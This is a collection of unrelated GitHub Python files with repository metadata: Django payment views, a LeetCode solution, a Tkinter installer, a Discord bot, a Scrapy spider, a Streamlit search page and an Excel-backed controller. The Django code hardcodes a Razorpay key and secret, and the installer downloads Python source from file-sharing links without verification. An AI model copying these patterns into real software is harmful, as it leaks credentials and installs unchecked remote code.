razorpay.Client(auth=(\"rzp_test_BIGjC2BDYG3x1c\", \"5yLDMLqsfmjTNTL40zrmOKXh\"))\n api_response = client.payment.fetch(payment_id)\n if not api_response.get('error_code'):\n # uuid = api_response.get('id')\n paid_amt = api_response.get('amount')/100\n status = api_response.get('status')\n request_dump = api_response\n Transaction.objects.create(payment_id=payment_id, user=user, paid_amt=paid_amt, status=status, request_dump=request_dump)\n data['success'] = True\n else:\n data['success'] = False\n return JsonResponse(data)\n\n\ndef render_pdf_view(request):\n print(\"====render_pdf_view===\")\n template_path = 'student/invoice.html'\n fee = Fee.objects.filter(user=request.user).order_by('-id')[0]\n fee_types = fee.fees_paid.all()\n\n context = {\n 'payment_id': fee.payment_id,\n 'fees' : fee_types,\n 'user' : request.user,\n 'total' : fee.amount,\n }\n # Create a Django response object, and specify content_type as pdf\n response = HttpResponse(content_type='application/pdf')\n response['Content-Disposition'] = 'attachment; filename=\"report.pdf\"'\n # find the template and render it.\n template = get_template(template_path)\n html = template.render(context)\n\n # create a pdf\n pisaStatus = pisa.CreatePDF(\n html, dest=response)\n # if error then show some funy view\n if pisaStatus.err:\n return HttpResponse('We had some errors 
' + html + '
')\n return response\n", "repo_name": "krutiLadani/django_work", "sub_path": "task2/student/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 6469, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.shortcuts.render", "line_number": 16, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 20, "usage_type": "call"}, {"api_name": "models.Branch.objects.filter", "line_number": 31, "usage_type": "call"}, {"api_name": "models.Branch.objects", "line_number": 31, "usage_type": "attribute"}, {"api_name": "models.Branch", "line_number": 31, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 35, "usage_type": "call"}, {"api_name": "django.views.decorators.csrf.csrf_exempt", "line_number": 23, "usage_type": "name"}, {"api_name": "forms.SignUpForm", "line_number": 41, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects.get", "line_number": 46, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 46, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 46, "usage_type": "name"}, {"api_name": "models.Student.objects.create", "line_number": 54, "usage_type": "call"}, {"api_name": "models.Student.objects", "line_number": 54, "usage_type": "attribute"}, {"api_name": "models.Student", "line_number": 54, "usage_type": "name"}, {"api_name": "forms.SignUpForm", "line_number": 55, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 56, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 59, "usage_type": "call"}, {"api_name": "forms.SignUpForm", "line_number": 62, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 63, "usage_type": "call"}, {"api_name": "django.views.decorators.csrf.csrf_exempt", "line_number": 38, "usage_type": "name"}, {"api_name": "forms.FeepaymentForm", "line_number": 67, "usage_type": "call"}, {"api_name": "forms.FeepaymentForm", "line_number": 69, "usage_type": "call"}, {"api_name": "models.FeeType.objects.filter", "line_number": 71, "usage_type": "call"}, {"api_name": "models.FeeType.objects", "line_number": 71, "usage_type": "attribute"}, {"api_name": "models.FeeType", "line_number": 71, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 73, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 76, "usage_type": "call"}, {"api_name": "models.FeeType.objects.filter", "line_number": 80, "usage_type": "call"}, {"api_name": "models.FeeType.objects", "line_number": 80, "usage_type": "attribute"}, {"api_name": "models.FeeType", "line_number": 80, "usage_type": "name"}, {"api_name": "forms.FeepaymentForm", "line_number": 82, "usage_type": "call"}, {"api_name": "forms.FeepaymentForm", "line_number": 83, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 85, "usage_type": "call"}, {"api_name": "models.FeeType.objects.get", "line_number": 93, "usage_type": "call"}, {"api_name": "models.FeeType.objects", "line_number": 93, "usage_type": "attribute"}, {"api_name": "models.FeeType", "line_number": 93, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 101, "usage_type": "call"}, {"api_name": "django.views.decorators.csrf.csrf_exempt", "line_number": 87, "usage_type": "name"}, {"api_name": "models.FeeType.objects.get", "line_number": 110, "usage_type": "call"}, {"api_name": "models.FeeType.objects", "line_number": 110, "usage_type": "attribute"}, {"api_name": "models.FeeType", "line_number": 110, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 116, "usage_type": "call"}, {"api_name": "django.views.decorators.csrf.csrf_exempt", "line_number": 103, "usage_type": "name"}, {"api_name": "models.Fee.objects.get_or_create", "line_number": 127, "usage_type": "call"}, {"api_name": "models.Fee.objects", "line_number": 127, "usage_type": "attribute"}, {"api_name": "models.Fee", "line_number": 127, "usage_type": "name"}, {"api_name": "models.FeeType.objects.get", "line_number": 132, "usage_type": "call"}, {"api_name": "models.FeeType.objects", "line_number": 132, "usage_type": "attribute"}, {"api_name": "models.FeeType", "line_number": 132, "usage_type": "name"}, {"api_name": "razorpay.Client", "line_number": 135, "usage_type": "call"}, {"api_name": "models.Transaction.objects.create", "line_number": 142, "usage_type": "call"}, {"api_name": "models.Transaction.objects", "line_number": 142, "usage_type": "attribute"}, {"api_name": "models.Transaction", "line_number": 142, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 146, "usage_type": "call"}, {"api_name": "django.views.decorators.csrf.csrf_exempt", "line_number": 118, "usage_type": "name"}, {"api_name": "models.Fee.objects.filter", "line_number": 152, "usage_type": "call"}, {"api_name": "models.Fee.objects", "line_number": 152, "usage_type": "attribute"}, {"api_name": "models.Fee", "line_number": 152, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 162, "usage_type": "call"}, {"api_name": "django.template.loader.get_template", "line_number": 165, "usage_type": "call"}, {"api_name": "xhtml2pdf.pisa.CreatePDF", "line_number": 169, "usage_type": "call"}, {"api_name": "xhtml2pdf.pisa", "line_number": 169, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 173, "usage_type": "call"}]} {"seq_id": "72685319264", "text": "from typing import List\n\n\nclass Solution:\n def minimumTotal(self, triangle: List[List[int]]) -> int:\n # the answer should be minimum of dp[n], n is the number of rows\n min_val = []\n min_val.append([triangle[0][0]])\n for row in range(1, len(triangle)):\n min_val.append([-1] * len(triangle[row]))\n for col in range(len(triangle[row])):\n if col == 0:\n min_val[row][col] = min_val[row-1][col] + \\\n triangle[row][col]\n elif col == len(triangle[row]) - 1:\n min_val[row][col] = min_val[row-1][len(triangle[row-1])-1] + \\\n triangle[row][col]\n else:\n min_val[row][col] = min(\n min_val[row - 1][col - 1], min_val[row - 1][col]) + triangle[row][col]\n\n return min(min_val[-1])\n\n\n# Runtime: 64 ms, faster than 70.10 % of Python3 online submissions for Triangle.\n# Memory Usage: 13.6 MB, less than 46.67 % of Python3 online submissions for Triangle.\n", "repo_name": "daviddwlee84/LeetCode", "sub_path": "Python3/Array/Triangle/Naive120.py", "file_name": "Naive120.py", "file_ext": "py", "file_size_in_byte": 1067, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 15, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.List", "line_number": 5, "usage_type": "name"}]} {"seq_id": "35481467609", "text": "import wget\r\nfrom Modulos import *\r\n\r\nroot = Tk()\r\nroot.title(\"Instalar\")\r\nroot.iconbitmap('iconos e imagenes\\icono.ico')\r\nroot.geometry(\"500x345\")\r\nroot.resizable(width=False, height=False)\r\n\r\ndef cancelar():\r\n\r\n mas = messagebox.askyesno(\"cancelar la instalacion\", \"seguro que desea cancelar la instalacion\")\r\n if mas:\r\n root.destroy()\r\n\r\nroot.protocol(\"WM_DELETE_WINDOW\", cancelar)\r\n\r\ndef operacion():\r\n frome.place_forget()\r\n n.place_forget()\r\n o.place_forget()\r\n v.place_forget()\r\n w.place_forget()\r\n a.place_forget()\r\n y.place_forget()\r\n x.place_forget()\r\n m.place_forget()\r\n casa.place_forget()\r\n mesa.place_forget()\r\n comando1()\r\n\r\n\r\ndef operaciones2():\r\n fram.place_forget()\r\n ropa.place_forget()\r\n labanda.place_forget()\r\n luis.place_forget()\r\n l.place_forget()\r\n ro.place_forget()\r\n ber.place_forget()\r\n lo.place_forget()\r\n barra.place_forget()\r\n barra1.place_forget()\r\n frome.place(x=0, y=0)\r\n n.place(x=170, y=39)\r\n o.place(x=170, y=69)\r\n v.place(x=170, y=110)\r\n w.place(x=170, y=138)\r\n y.place(x=170, y=155)\r\n a.place(x=170, y=195)\r\n m.place(x=170, y=215)\r\n x.place(x=20, y=39)\r\n casa.place(x=310, y=310)\r\n mesa.place(x=400, y=310)\r\n\r\n\r\nfrome = Frame(root, width=570, height=299, bg=\"white\", borderwidth=1)\r\nfrome.config(relief=\"raised\")\r\nfrome.place(x=0, y=0)\r\n\r\nfuento = tkinter.font.Font(family=\"Calibri\", size=19)\r\n\r\nfuent = tkinter.font.Font(family=\"artic\", size=8)\r\n\r\nn = Label(text=\"Bienvenido al asistente de\", bg=\"white\", font=fuento)\r\nn.place(x=170, y=39)\r\n\r\no = Label(text=\"Instalacion de este programa\", bg=\"white\", font=fuento)\r\no.place(x=170, y=69)\r\n\r\nv = Label(text=\"Este programa instalara este programa 1.0 en su sistema\", bg=\"white\", font=fuent)\r\nv.place(x=170, y=110)\r\n\r\nw = Label(text=\"Se recomienda cerrear todas las ventanas antes de\", bg=\"white\", font=fuent)\r\nw.place(x=170, y=138)\r\n\r\ny = Label(text=\"continuar.\", bg=\"white\", font=fuent)\r\ny.place(x=170, y=155)\r\n\r\na = Label(text=\"Haga clic en Siguiente para continuar o en Cancelar para salir\", bg=\"white\", font=fuent)\r\na.place(x=170, y=195)\r\n\r\nm = Label(text=\"de la instalacion.\", bg=\"white\", font=fuent)\r\nm.place(x=170, y=215)\r\n\r\nimagen = PhotoImage(file=\"iconos e imagenes\\landra.png\")\r\n\r\nx = Label(frome, image=imagen)\r\nx.place(x=20, y=39)\r\n\r\ncasa = Button(text=\"Siguiente\", width=10, relief=\"groove\", bd=1, command=operacion)\r\ncasa.place(x=310, y=310)\r\n\r\nmesa = Button(text=\"Cancelar\", width=10, relief=\"groove\", bd=1, command=cancelar)\r\nmesa.place(x=400, y=310)\r\n\r\n\r\ndef commando():\r\n fram.place_forget()\r\n ropa.place_forget()\r\n labanda.place_forget()\r\n luis.place_forget()\r\n l.place_forget()\r\n ro.place_forget()\r\n ber.place_forget()\r\n lo.place_forget()\r\n barra.place_forget()\r\n barra1.place_forget()\r\n\r\n\r\ndef comando1():\r\n fram.place(x=0, y=0)\r\n ropa.place(x=19, y=1)\r\n labanda.place(x=39, y=20)\r\n luis.place(x=40, y=59)\r\n l.place(x=244, y=310)\r\n ro.place(x=319, y=310)\r\n ber.place(x=419, y=310)\r\n lo.place(x=50, y=89)\r\n barra.place(x=445, y=89, height=198)\r\n barra1.place(x=47, y=289, width=400)\r\n\r\ndef lugar():\r\n Angel.place_forget()\r\n ropita.place_forget()\r\n suafan.place_forget()\r\n nando.place_forget()\r\n saya.place_forget()\r\n nome.place_forget()\r\n medi.place_forget()\r\n sape.place_forget()\r\n chupa.place_forget()\r\n perro.place_forget()\r\n diga.place_forget()\r\n\r\n\r\ndef lolos():\r\n Angel.place_forget()\r\n ropita.place_forget()\r\n suafan.place_forget()\r\n nando.place_forget()\r\n saya.place_forget()\r\n nome.place_forget()\r\n medi.place_forget()\r\n sape.place_forget()\r\n chupa.place_forget()\r\n perro.place_forget()\r\n diga.place_forget()\r\n fram.place(x=0, y=0)\r\n ropa.place(x=19, y=1)\r\n labanda.place(x=39, y=20)\r\n luis.place(x=40, y=59)\r\n l.place(x=244, y=310)\r\n ro.place(x=319, y=310)\r\n ber.place(x=419, y=310)\r\n lo.place(x=50, y=89)\r\n barra.place(x=445, y=89, height=198)\r\n barra1.place(x=47, y=289, width=400)\r\n\r\ndef sevolin():\r\n fram.place_forget()\r\n ropa.place_forget()\r\n labanda.place_forget()\r\n luis.place_forget()\r\n l.place_forget()\r\n ro.place_forget()\r\n ber.place_forget()\r\n lo.place_forget()\r\n barra.place_forget()\r\n barra1.place_forget()\r\n Angel.place(x=0, y=0)\r\n ropita.place(x=19, y=1)\r\n suafan.place(x=39, y=158, width=360, height=20)\r\n chupa.place(x=9, y=99)\r\n nando.place(x=9, y=117)\r\n perro.place(x=119, y=69)\r\n saya.place(x=49, y=20)\r\n nome.place(x=244, y=310)\r\n diga.place(x=319, y=310)\r\n medi.place(x=419, y=310)\r\n sape.place(x=410, y=158)\r\n\r\n\r\ndef ubicacion():\r\n fram.place_forget()\r\n ropa.place_forget()\r\n labanda.place_forget()\r\n luis.place_forget()\r\n l.place_forget()\r\n ro.place_forget()\r\n ber.place_forget()\r\n lo.place_forget()\r\n barra.place_forget()\r\n\r\n\r\nfram = Frame(root, bg=\"white\", width=570, height=53, borderwidth=1)\r\nfram.place(x=0, y=0)\r\n\r\nfuente = font.Font(size=9, weight=\"bold\")\r\nfuent = font.Font(family=\"Calibri\", size=8)\r\n\r\nropa = Label(text=\"Informacion\", bg=\"white\", font=fuente)\r\nropa.place(x=19, y=1)\r\n\r\nlabanda = Label(text=\"Es importante que lea la siguiente informacion antes de continuar\", bg=\"white\", font=fuent)\r\nlabanda.place(x=39, y=20)\r\n\r\nluis = Label(text=\"Cuando este listo para continuar con la instalacion, haga clic en Siguiente.\")\r\nluis.place(x=40, y=59)\r\n\r\nl = Button(root, text=\"< Atras\", width=9, relief=\"groove\", bd=1, command=operaciones2)\r\nl.place(x=244, y=310)\r\n\r\nro = Button(root, text=\"Siguiente >\", width=9, relief=\"groove\", bd=1, command=sevolin)\r\nro.place(x=319, y=310)\r\n\r\nber = Button(root, text=\"Cancelar\", width=9, relief=\"groove\", bd=1, command=cancelar)\r\nber.place(x=419, y=310)\r\n\r\nlo = Text(root, width=49, height=12, bd=2, wrap=\"none\")\r\nlo.place(x=50, y=89)\r\n\r\nbarra = Scrollbar(root, command=lo.yview)\r\nlo.config(yscrollcommand=barra.set)\r\nbarra.place(x=445, y=89, height=198)\r\n\r\nbarra1 = Scrollbar(root, command=lo.xview, orient=HORIZONTAL)\r\nlo.config(xscrollcommand=barra1.set)\r\nbarra1.place(x=47, y=289, width=400)\r\n\r\nlicensia = open(\"LICENSE\",\"r\")\r\n\r\nlicensia1 = licensia.read()\r\n\r\nlo.insert(1.0, licensia1)\r\n\r\nlo[\"state\"] = \"disable\"\r\n\r\ncommando()\r\n\r\nAngel = Frame(root, bg=\"white\", width=570, height=53, borderwidth=1)\r\nAngel.place(x=0, y=0)\r\n\r\nfile = \"C:\\Program Files\"\r\n\r\ndef abrir():\r\n global file\r\n\r\n file = FileDialog.askdirectory(initialdir=\"C:\\Program Files\", title=\"Abrir\")\r\n\r\n if len(file) > 0:\r\n sufall.set(\"\")\r\n sufall.set(file)\r\n\r\n\r\ndef archivo():\r\n\r\n os.chdir(file)\r\n\r\n try:\r\n os.mkdir(\"contabilidad\")\r\n except:\r\n propuesta = messagebox.askyesno(\"\",\"Desea volver a instalar este programa en su sistema?\")\r\n if propuesta:\r\n shutil.rmtree(\"contabilidad\")\r\n os.mkdir(\"contabilidad\")\r\n\r\n os.chdir(\"contabilidad\")\r\n\r\n url = \"https://download1335.mediafire.com/s8l98i405pqg/3368ata1bfvye0x/inicio.py\"\r\n url2 = \"https://download1591.mediafire.com/ksxta53h625g/rkmro9kl3qb8li3/Modulos.py\"\r\n url3 = \"https://download1652.mediafire.com/oug0gt4edlsg/d2q1tu6k4akhqee/principal.py\"\r\n url4 = \"https://download1080.mediafire.com/uui3rnr6vuug/trvrhqa68celyk7/user.py\"\r\n\r\n wget.download(url)\r\n wget.download(url2)\r\n wget.download(url3)\r\n wget.download(url4)\r\n\r\n os.mkdir(\"iconos e imagenes\")\r\n os.chdir(\"iconos e imagenes\")\r\n\r\n hacia_atras = \"https://download1474.mediafire.com/f338e7q2f3ug/5t6lkd91ik61g1q/hacia+atras.png\"\r\n hacia_adelante = \"https://download1327.mediafire.com/4r64hyfvh70g/s8ricyyrxmkxtn1/hacia+adelante.png\"\r\n landra = \"https://download1638.mediafire.com/38egairmkt3g/cmtu33zj7dj8air/landra.png\"\r\n salir = \"https://download1475.mediafire.com/72dfx9kkt4ug/jmo5i8omfli4t5u/salir.png\"\r\n\r\n wget.download(hacia_atras)\r\n wget.download(hacia_adelante)\r\n wget.download(landra)\r\n wget.download(salir)\r\n\r\n\r\n# angel luis propiedad\r\nsufall = StringVar()\r\n\r\nsufall.set(\"C:\\Program Files\")\r\n\r\npuca = tkinter.font.Font(size=8, weight=\"bold\")\r\nfd = tkinter.font.Font(family=\"Calibri\", size=10)\r\nfont = tkinter.font.Font(size=8)\r\n\r\nropita = Label(text=\"Selecciona la carpeta de Destino\", bg=\"white\", font=fd)\r\n\r\n\r\nsuafan = Entry(root, font=puca, textvariable=sufall)\r\nsuafan.config(bd=2)\r\nsuafan.place(x=39, y=158, width=360, height=20)\r\n\r\nchupa = Label(text=\"para continuar, haga clic en Siguiente. si desea seleccionar una carpeta diferente, haga\",font=puca)\r\n\r\nnando = Label(text=\"haga clic en examinar.\", font=puca)\r\n\r\nperro = Label(text=\"El programa instalara en la siguiente carpeta.\", font=fd)\r\n\r\nsaya = Label(text=\"¿Donde debe instalarse?\", bg=\"white\", font=fd)\r\nsaya.place(x=49, y=20)\r\n\r\nnome = Button(root, text=\"< Atras\", width=9, relief=\"groove\", bd=1, command=lolos)\r\nnome.place(x=244, y=310)\r\n\r\ndiga = Button(root, text=\"Siguiente >\", width=9, relief=\"groove\", bd=1, command=archivo)\r\ndiga.place(x=319, y=310)\r\n\r\nmedi = Button(root, text=\"Cancelar\", width=9, relief=\"groove\", bd=1, command=cancelar)\r\nmedi.place(x=419, y=310)\r\n\r\nsape = Button(text=\"examinar...\", command=abrir)\r\nsape.place(x=410, y=158)\r\n\r\nlugar()\r\n\r\nroot.mainloop()\r\n", "repo_name": "angelluis24/Sol", "sub_path": "Instalador.py", "file_name": "Instalador.py", "file_ext": "py", "file_size_in_byte": 9213, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "wget.download", "line_number": 275, "usage_type": "call"}, {"api_name": "wget.download", "line_number": 276, "usage_type": "call"}, {"api_name": "wget.download", "line_number": 277, "usage_type": "call"}, {"api_name": "wget.download", "line_number": 278, "usage_type": "call"}, {"api_name": "wget.download", "line_number": 288, "usage_type": "call"}, {"api_name": "wget.download", "line_number": 289, "usage_type": "call"}, {"api_name": "wget.download", "line_number": 290, "usage_type": "call"}, {"api_name": "wget.download", "line_number": 291, "usage_type": "call"}]} {"seq_id": "72824054303", "text": "import discord\nfrom discord.ext.modules import CommandCollection\n\n\nclass HelloCommand(discord.app.SlashCommand, name=\"hello\"):\n \"\"\"Responds with a simple \"Hi!\\\"\"\"\"\n\n async def callback(self):\n await self.interaction.response.send_message(\"Hi!\")\n\n\nclass HelloUserCommand(discord.app.SlashCommand, name=\"hello_user\"):\n \"\"\"Say hello to some user\"\"\"\n target: discord.User = discord.Option(description=\"The user to say hello to.\")\n\n async def callback(self):\n await self.interaction.response.send_message(f\"{self.target.mention} Hi!\")\n\n\nclass HelloCollection(CommandCollection):\n \"\"\"Commands for saying hello\"\"\"\n\n def __init__(self, bot):\n super().__init__(bot, [HelloCommand, HelloUserCommand])\n\n\ndef setup(bot) -> list:\n return [HelloCollection(bot)]\n", "repo_name": "fuzzysearch404/discord-ext-modules", "sub_path": "examples/modular_bot/commands/hello_module.py", "file_name": "hello_module.py", "file_ext": "py", "file_size_in_byte": 793, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "discord.app", "line_number": 5, "usage_type": "attribute"}, {"api_name": "discord.app", "line_number": 12, "usage_type": "attribute"}, {"api_name": "discord.User", "line_number": 14, "usage_type": "attribute"}, {"api_name": "discord.Option", "line_number": 14, "usage_type": "call"}, {"api_name": "discord.ext.modules.CommandCollection", "line_number": 20, "usage_type": "name"}]} {"seq_id": "4928474658", "text": "import scrapy\n\n\nfrom PCHomeTopSale.items import PchometopsaleItem\n\nclass PCHomeTopSale(scrapy.Spider):\n name = \"PCHomeTopSale\"\n\n def start_requests(self):\n urls = [\n 'http://24h.pchome.com.tw/index/',\n ]\n for url in urls:\n yield scrapy.Request(url=url, callback=self.parse)\n\n def parse(self,response):\n item = PchometopsaleItem()\n\n for i in range(1,6):\n str_idx = ''+('%s'%i)\n str_xpath = '//*[@id=\"hot_list\"]/dl/dd[2]/ul/li['+str_idx+']/div/h5/a//text()'\n titleList = response.xpath(str_xpath).extract()\n strTitle = ''.join(titleList)\n str_xpath = '//*[@id=\"hot_list\"]/dl/dd[2]/ul/li['+str_idx+']/div/h5/a//@href'\n urlList = response.xpath(str_xpath)[0].extract()\n strUrl = ''.join(urlList)\n\n str_xpath = '//*[@id=\"hot_list\"]/dl/dd[2]/ul/li['+str_idx+']/div/h6/strong/a//text()'\n priceList = response.xpath(str_xpath).extract()\n strPrice = ''.join(priceList)\n\n item['title'] = strTitle\n item['link'] = strUrl\n item['price'] = strPrice\n yield item\n\n print('\\n')\n self.log('HTML %s loaded' % response.url)", "repo_name": "waitingho/python", "sub_path": "PCHomeTopSale/PCHomeTopSale/spiders/PCHomeTopSale.py", "file_name": "PCHomeTopSale.py", "file_ext": "py", "file_size_in_byte": 1250, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "scrapy.Spider", "line_number": 6, "usage_type": "attribute"}, {"api_name": "scrapy.Request", "line_number": 14, "usage_type": "call"}, {"api_name": "PCHomeTopSale.items.PchometopsaleItem", "line_number": 17, "usage_type": "call"}]} {"seq_id": "7124087536", "text": "import streamlit as st\nimport pandas as pd\nimport plotly.express as px\nimport plotly.graph_objs as go\nimport numpy as np\nfrom rank_bm25 import *\nimport numpy as np\nimport nltk\nfrom nltk.corpus import stopwords\nfrom nltk import FreqDist\n\n\ndf=pd.read_csv('dataset_meta.csv')\ncorpus=df['description'].tolist()\n\ntokenized_corpus = [doc.split(\" \") for doc in corpus]\nbm25 = BM25Okapi(tokenized_corpus)\n\ndef search(query):\n query=query.lower()\n tokenized_query = query.split(\" \")\n doc_scores = bm25.get_scores(tokenized_query)\n \n index=np.argsort(-doc_scores)[:5]\n top_result_row = df.iloc[index]\n\n return top_result_row\n\nst.markdown(\"

KEYWORD SEARCH ENGINE 🔎

\", unsafe_allow_html=True)\nst.text(\" \")\nq=st.text_input(\"Enter the Query for Searching\")\nst.text(\" \")\n\n \nif q!='':\n if st.button(\"Search\"):\n episode=search(str(q))\n with st.container():\n st.markdown(\"\"\"---\"\"\")\n st.title(\"The Retrieved DataSet\")\n st.write(episode)\n st.markdown(\"\"\"---\"\"\")\n for _, row in episode.iterrows():\n \n \n st.write(f\"NAME: {row['name']}\")\n st.write(f\"DESCRIPTION: {row.description}\")\n st.write(f\"URL: {row.url}\")\n st.markdown(\"\"\"---\"\"\")\n\n with st.container():\n st.markdown(\"\"\"---\"\"\")\n st.title(\"Visualization of Words in Extracted Datasets\")\n df=episode.copy()\n \n df['tokens'] = df['description'].apply(nltk.word_tokenize)\n\n\n all_words = [word for tokens in df['tokens'] for word in tokens]\n word_freq = FreqDist(all_words)\n\n # Create a bar chart for the most common words\n common_words = word_freq.most_common(20)\n common_words_df = pd.DataFrame(common_words, columns=['Word', 'Frequency'])\n\n fig = px.bar(common_words_df, x='Word', y='Frequency', title='Most Common Words')\n st.plotly_chart(fig,use_container_width=True)", "repo_name": "jegadeesh2001/Dataset-Search-Engine", "sub_path": "FrontEnd/pages/2_🔍_Key Word_Search Engine.py", "file_name": "2_🔍_Key Word_Search Engine.py", "file_ext": "py", "file_size_in_byte": 2204, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pandas.read_csv", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 24, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 29, "usage_type": "call"}, {"api_name": "streamlit.text", "line_number": 30, "usage_type": "call"}, {"api_name": "streamlit.text_input", "line_number": 31, "usage_type": "call"}, {"api_name": "streamlit.text", "line_number": 32, "usage_type": "call"}, {"api_name": "streamlit.button", "line_number": 36, "usage_type": "call"}, {"api_name": "streamlit.container", "line_number": 38, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 39, "usage_type": "call"}, {"api_name": "streamlit.title", "line_number": 40, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 41, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 42, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 46, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 47, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 48, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 49, "usage_type": "call"}, {"api_name": "streamlit.container", "line_number": 51, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 52, "usage_type": "call"}, {"api_name": "streamlit.title", "line_number": 53, "usage_type": "call"}, {"api_name": "nltk.word_tokenize", "line_number": 56, "usage_type": "attribute"}, {"api_name": "nltk.FreqDist", "line_number": 60, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 64, "usage_type": "call"}, {"api_name": "plotly.express.bar", "line_number": 66, "usage_type": "call"}, {"api_name": "plotly.express", "line_number": 66, "usage_type": "name"}, {"api_name": "streamlit.plotly_chart", "line_number": 67, "usage_type": "call"}]} {"seq_id": "33263465766", "text": "from openpyxl import Workbook, load_workbook\nfrom collections import OrderedDict\nimport os\n\n\ndiretorio_atual = os.getcwd()\ndiretorio_pai = os.path.dirname(diretorio_atual)\ndiretorio_pai = diretorio_pai + '\\\\planilhas'\n\n# construir um caminho relativo para um arquivo no diretório atual\ncaminho_rel = os.path.join(diretorio_pai, \"Perfis.xlsx\")\nfilename = caminho_rel\n\nwb = load_workbook(filename=filename)\nws = wb.active\n\n\nfrom model.perfil import Perfil\n\nclass PerfilController:\n\n def __init__(self, codigo_perfil=None, nome_perfil=None, nome_sistema=None, descricao_perfil=None ):\n if codigo_perfil is None:\n self.codigo_perfil = \"\"\n else:\n self.codigo_perfil = codigo_perfil\n if nome_perfil is None:\n self.nome_perfil = \"\"\n else:\n self.nome_perfil = nome_perfil\n if nome_sistema is None:\n self.nome_sistema = \"\"\n else:\n self.nome_sistema = nome_sistema\n if descricao_perfil is None:\n self.descricao_perfil = \"\"\n else:\n self.descricao_perfil = descricao_perfil\n\n def set_perfil(self):\n nome_sistema = self.nome_sistema\n nome_perfil = self.nome_perfil\n descricao_perfil = self.descricao_perfil\n\n proxima_linha = ws.max_row + 1\n ws.cell(row=proxima_linha, column=1).value = proxima_linha\n ws.cell(row=proxima_linha, column=2).value = nome_perfil\n ws.cell(row=proxima_linha, column=3).value = nome_sistema\n ws.cell(row=proxima_linha, column=4).value = descricao_perfil\n wb.save(filename=filename)\n\n def get_perfil(self):\n print(f'Esse é o codigo a ser buscado: {self.codigo_perfil}')\n for linha in range(2, ws.max_row + 1):\n if ws.cell(row=linha, column=1).value == self.codigo_perfil:\n self.nome_perfil = ws.cell(row=linha, column=2).value\n self.nome_sistema = ws.cell(row=linha, column=3).value\n self.descricao_perfil = ws.cell(row=linha, column=4).value\n return self\n print('Perfil')\n return None\n\n def update_perfil(self, novo_nome, novo_sistema, nova_descricao):\n print(f'Esse é o codigo {self.codigo_perfil}')\n for linha in range(2, ws.max_row + 1):\n if ws.cell(row=linha, column=1).value == int(self.codigo_perfil):\n ws.cell(row=linha, column=2).value = novo_nome\n ws.cell(row=linha, column=3).value = novo_sistema\n ws.cell(row=linha, column=4).value = nova_descricao\n wb.save(filename=filename)\n print('Sistema Atualizado!')\n\n def delete_perfil(self):\n print(self.codigo_perfil)\n for linha in range(2, ws.max_row + 1):\n if ws.cell(row=linha, column=1).value == self.codigo_perfil:\n ws.delete_rows(linha)\n wb.save(filename=filename)\n print('Perfil Deletado!')\n\n def todos_perfis(self):\n todas_linhas = []\n for linha in range(2, ws.max_row + 1):\n codigo = ws.cell(row=linha, column=1).value\n nome_perfil = ws.cell(row=linha, column=2).value\n nome_sistema = ws.cell(row=linha, column=3).value\n descricao_perfil = ws.cell(row=linha, column=4).value\n perf = Perfil(codigo, nome_perfil, nome_sistema, descricao_perfil)\n todas_linhas.append(perf)\n return todas_linhas\n\n\n def __str__(self):\n return f'nome: {self.nome_perfil} - sistema: {self.nome_sistema} - descrição: {self.descricao_perfil}'\n", "repo_name": "ale0allen/sodmtz", "sub_path": "controller/perfil.py", "file_name": "perfil.py", "file_ext": "py", "file_size_in_byte": 3573, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.getcwd", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 7, "usage_type": "call"}, {"api_name": "os.path", "line_number": 7, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "openpyxl.load_workbook", "line_number": 14, "usage_type": "call"}, {"api_name": "model.perfil.Perfil", "line_number": 88, "usage_type": "call"}]} {"seq_id": "31407309429", "text": "\"\"\"\nhttps://www.tutorialspoint.com/pyqt/pyqt_qdialog_class.htm\n\"\"\"\n\n__author__ = \"William DeShazer\"\n__version__ = \"0.1.0\"\n__license__ = \"MIT\"\n\nfrom typing import Optional, 